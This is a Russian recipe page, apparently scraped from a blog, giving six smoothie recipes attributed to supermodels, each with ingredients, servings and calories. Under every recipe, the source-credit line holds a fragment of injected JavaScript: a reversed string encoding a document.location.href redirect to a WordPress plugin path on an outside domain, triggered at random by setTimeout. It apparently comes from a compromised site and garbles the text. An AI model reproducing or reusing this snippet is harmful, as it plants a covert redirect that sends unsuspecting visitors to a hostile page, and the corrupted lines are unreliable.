6 смузи по рецептам супермоделей

Настя Юренкова делится рецептами напитков, с которых начинает своё утро Жизель Бундхен, Алессандра Амбросио и другие известные супермодели.

Смузи — не только самый полезный, но и самый простой и быстрый вариант завтрака. Его приготовление не займёт у вас больше 5 минут — просто сложите все ингредиенты в блендер, хорошо взбейте и перелейте в любимый бокал. Готово!

1. Смузи от Кэндис Свейнпол

6 смузи по рецептам супермоделей. Изображение номер 1

gentside.com

6 смузи по рецептам супермоделей. Изображение номер 2

seasonaldelish.com

6 смузи по рецептам супермоделей

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

350 ккал

350 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Банан замороженный

1 шт.

Голубика

100 г

Семена чиа

1 ст. л.

Миндальная паста

2 ст. л.

Кокосовая вода

300 мл

Спирулина

1 ч. л.

2. Смузи от Карли Клосс

6 смузи по рецептам супермоделей. Изображение номер 3

deviantart.com

6 смузи по рецептам супермоделей. Изображение номер 4

popsugar.com

6 смузи по рецептам супермоделей

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

252 ккал

252 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Банан

1 шт.

Ежевика замороженная

100 г

Миндальное молоко

240 мл

Протеиновый порошок с шоколадным вкусом

1 ч. л.

3. Зелёный смузи от Роузи Хантингтон-Уайтли

6 смузи по рецептам супермоделей. Изображение номер 5

alphacoders.com

6 смузи по рецептам супермоделей. Изображение номер 6

leanvibes.com

6 смузи по рецептам супермоделей

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

302 ккал

302 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Cалат романо

4 листа

Сельдерей

2 стебля

Яблоко

1 шт.

Груша

1 шт.

Банан

½ шт.

Лимон

½ шт.

Вода

350 мл

  1. Очистите и нарежьте яблоко и грушу. Выжмите сок половины лимона.
  2. Взбейте все ингредиенты в блендере до состояния смузи.

 

Модель часто заменяет салат романо на горсть шпината.

4. Смузи от Миранды Керр

6 смузи по рецептам супермоделей. Изображение номер 7

6 смузи по рецептам супермоделей. Изображение номер 8

b4bc.org

6 смузи по рецептам супермоделей

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

415 ккал

415 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Кокосовое молоко

200 мл

Кокосовая вода

200 мл

Порошок ассаи

1 ст. л.

Ягоды годжи

1 ст. л.

Спирулина

1 ст. л.

Какао-порошок

1 ст. л.

Порошок маки

1 ст. л.

Семена чиа

1 ст. л.

5. Смузи от Жизель Бундхен

6 смузи по рецептам супермоделей. Изображение номер 9

sizlingpeople.com

6 смузи по рецептам супермоделей. Изображение номер 10

jessicakang11.wordpress.com

6 смузи по рецептам супермоделей

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

2 порции

КАЛОРИЙНОСТЬ:

203 ккал

203 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Банан замороженный

½ шт.

Груша Анжу

½ шт.

Кейл

100 г

Обезжиренное молоко

240 мл

Фисташки

2 ст. л.

Имбирь молотый

½ ч. л.

Лёд

3—5 кубиков

6. Смузи от Алессандры Амбросио

6 смузи по рецептам супермоделей. Изображение номер 11

wearesodroee.com

6 смузи по рецептам супермоделей. Изображение номер 12

simplegreensmoothies.com

6 смузи по рецептам супермоделей

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

2 порции

КАЛОРИЙНОСТЬ:

183 ккал

183 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

PT1H

Ингредиенты

Шпинат

50 г

Петрушка

20 г

Манго

1 шт.

Ананас

160 г

Авокадо

½ шт.

Вода

2 стакана

ЕЩЁ БОЛЬШЕ РЕЦЕПТОВ ВКУСНЫХ И ПОЛЕЗНЫХ СМУЗИ

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector